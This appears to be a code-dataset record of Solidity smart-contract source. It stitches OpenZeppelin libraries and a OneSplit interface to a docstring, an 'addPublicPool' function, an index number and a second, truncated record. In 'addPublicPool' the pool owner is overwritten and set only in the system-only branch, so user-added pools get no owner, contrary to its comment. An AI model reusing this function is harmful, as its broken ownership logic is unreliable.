require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call.value(weiValue)(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the decimal of tokens in existence. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract IOneSplitConsts { // flags = FLAG_DISABLE_UNISWAP + FLAG_DISABLE_BANCOR + ... uint256 internal constant FLAG_DISABLE_UNISWAP = 0x01; uint256 internal constant DEPRECATED_FLAG_DISABLE_KYBER = 0x02; // Deprecated uint256 internal constant FLAG_DISABLE_BANCOR = 0x04; uint256 internal constant FLAG_DISABLE_OASIS = 0x08; uint256 internal constant FLAG_DISABLE_COMPOUND = 0x10; uint256 internal constant FLAG_DISABLE_FULCRUM = 0x20; uint256 internal constant FLAG_DISABLE_CHAI = 0x40; uint256 internal constant FLAG_DISABLE_AAVE = 0x80; uint256 internal constant FLAG_DISABLE_SMART_TOKEN = 0x100; uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_ETH = 0x200; // Deprecated, Turned off by default uint256 internal constant FLAG_DISABLE_BDAI = 0x400; uint256 internal constant FLAG_DISABLE_IEARN = 0x800; uint256 internal constant FLAG_DISABLE_CURVE_COMPOUND = 0x1000; uint256 internal constant FLAG_DISABLE_CURVE_USDT = 0x2000; uint256 internal constant FLAG_DISABLE_CURVE_Y = 0x4000; uint256 internal constant FLAG_DISABLE_CURVE_BINANCE = 0x8000; uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_DAI = 0x10000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_USDC = 0x20000; // Deprecated, Turned off by default uint256 internal constant FLAG_DISABLE_CURVE_SYNTHETIX = 0x40000; uint256 internal constant FLAG_DISABLE_WETH = 0x80000; uint256 internal constant FLAG_DISABLE_UNISWAP_COMPOUND = 0x100000; // Works only when one of assets is ETH or FLAG_ENABLE_MULTI_PATH_ETH uint256 internal constant FLAG_DISABLE_UNISWAP_CHAI = 0x200000; // Works only when ETH<>DAI or FLAG_ENABLE_MULTI_PATH_ETH uint256 internal constant FLAG_DISABLE_UNISWAP_AAVE = 0x400000; // Works only when one of assets is ETH or FLAG_ENABLE_MULTI_PATH_ETH uint256 internal constant FLAG_DISABLE_IDLE = 0x800000; uint256 internal constant FLAG_DISABLE_MOONISWAP = 0x1000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2 = 0x2000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2_ETH = 0x4000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2_DAI = 0x8000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2_USDC = 0x10000000; uint256 internal constant FLAG_DISABLE_ALL_SPLIT_SOURCES = 0x20000000; uint256 internal constant FLAG_DISABLE_ALL_WRAP_SOURCES = 0x40000000; uint256 internal constant FLAG_DISABLE_CURVE_PAX = 0x80000000; uint256 internal constant FLAG_DISABLE_CURVE_RENBTC = 0x100000000; uint256 internal constant FLAG_DISABLE_CURVE_TBTC = 0x200000000; uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_USDT = 0x400000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_WBTC = 0x800000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_TBTC = 0x1000000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_RENBTC = 0x2000000000; // Deprecated, Turned off by default uint256 internal constant FLAG_DISABLE_DFORCE_SWAP = 0x4000000000; uint256 internal constant FLAG_DISABLE_SHELL = 0x8000000000; uint256 internal constant FLAG_ENABLE_CHI_BURN = 0x10000000000; uint256 internal constant FLAG_DISABLE_MSTABLE_MUSD = 0x20000000000; uint256 internal constant FLAG_DISABLE_CURVE_SBTC = 0x40000000000; uint256 internal constant FLAG_DISABLE_DMM = 0x80000000000; uint256 internal constant FLAG_DISABLE_UNISWAP_ALL = 0x100000000000; uint256 internal constant FLAG_DISABLE_CURVE_ALL = 0x200000000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2_ALL = 0x400000000000; uint256 internal constant FLAG_DISABLE_SPLIT_RECALCULATION = 0x800000000000; uint256 internal constant FLAG_DISABLE_BALANCER_ALL = 0x1000000000000; uint256 internal constant FLAG_DISABLE_BALANCER_1 = 0x2000000000000; uint256 internal constant FLAG_DISABLE_BALANCER_2 = 0x4000000000000; uint256 internal constant FLAG_DISABLE_BALANCER_3 = 0x8000000000000; uint256 internal constant DEPRECATED_FLAG_ENABLE_KYBER_UNISWAP_RESERVE = 0x10000000000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_KYBER_OASIS_RESERVE = 0x20000000000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_KYBER_BANCOR_RESERVE = 0x40000000000000; // Deprecated, Turned off by default uint256 internal constant FLAG_ENABLE_REFERRAL_GAS_SPONSORSHIP = 0x80000000000000; // Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_COMP = 0x100000000000000; // Deprecated, Turned off by default uint256 internal constant FLAG_DISABLE_KYBER_ALL = 0x200000000000000; uint256 internal constant FLAG_DISABLE_KYBER_1 = 0x400000000000000; uint256 internal constant FLAG_DISABLE_KYBER_2 = 0x800000000000000; uint256 internal constant FLAG_DISABLE_KYBER_3 = 0x1000000000000000; uint256 internal constant FLAG_DISABLE_KYBER_4 = 0x2000000000000000; uint256 internal constant FLAG_ENABLE_CHI_BURN_BY_ORIGIN = 0x4000000000000000; } contract IOneSplit is IOneSplitConsts { function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) external view returns( uint256 returnAmount, uint256[] memory distribution ); function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, // See constants in IOneSplit.sol uint256 destTokenEthPriceTimesGasPrice ) external view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ); function swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 minReturn, uint256[] calldata distribution, uint256 flags ) external payable returns(uint256 returnAmount); } contract IOneSplitMulti is IOneSplit { function getExpectedReturnWithGasMulti( IERC20[] calldata tokens, uint256 amount, uint256[] calldata parts, uint256[] calldata flags, uint256[] calldata destTokenEthPriceTimesGasPrices ) external view returns( uint256[] memory returnAmounts, uint256 estimateGasAmount, uint256[] memory distribution ); function swapMulti( IERC20[] calldata tokens, uint256 amount, uint256 minReturn, uint256[] calldata distribution, uint256[] calldata flags ) external payable returns(uint256 returnAmount); } pragma solidity ^0.5.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract ReentrancyGuard { bool private _notEntered; function __init() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } pragma solidity 0.5.17; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool wasInitializing = initializing; initializing = true; initialized = true; _; initializing = wasInitializing; } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. uint256 cs; assembly { cs := extcodesize(address) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; }
Add public pool _tokens tokens to purchase in pool. _weights Weight of new tokens. _threshold Threshold amount to purchase token. _rebalanceTime Next Rebalance time. _name itoken name. _symbol itoken symbol. Add new public pool by any users.Here any users can add there custom pools/Currently it will only check if configuration is correct as staking amount is not decided to add the new pool. Get the new itoken name and symbol from pool Add new index.
function addPublicPool(address[] memory _tokens, uint[] memory _weights,uint _threshold,uint _rebalanceTime,string memory _name,string memory _symbol,string memory _description) public{ address _itokenaddr; address _poolOwner; uint _poolIndex = poolInfo.length; address _OracleAddress = IPoolConfiguration(_poolConf).getoracleaddress(); if(_tokens.length == 0){ require(systemAddresses[msg.sender], "EO1"); (_tokens, _weights,_threshold,_rebalanceTime) = IOracle(_OracleAddress).getTokenDetails(_poolIndex); (_name,_symbol,_description) = IOracle(_OracleAddress).getiTokenDetails(_poolIndex); _poolOwner = address(this); _poolOwner = msg.sender; } require (_tokens.length == _weights.length, "E06"); require (_tokens.length <= IPoolConfiguration(_poolConf).getmaxTokenSupported(), "E16"); poolInfo.push(PoolInfo({ tokens : _tokens, weights : _weights, totalWeight : calculateTotalWeight(_weights), active : true, rebaltime : _rebalanceTime, currentRebalance : 0, threshold: _threshold, lastrebalance: block.timestamp, itokenaddr: _itokenaddr, owner: _poolOwner, description:_description })); }
10,118,419
// File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - 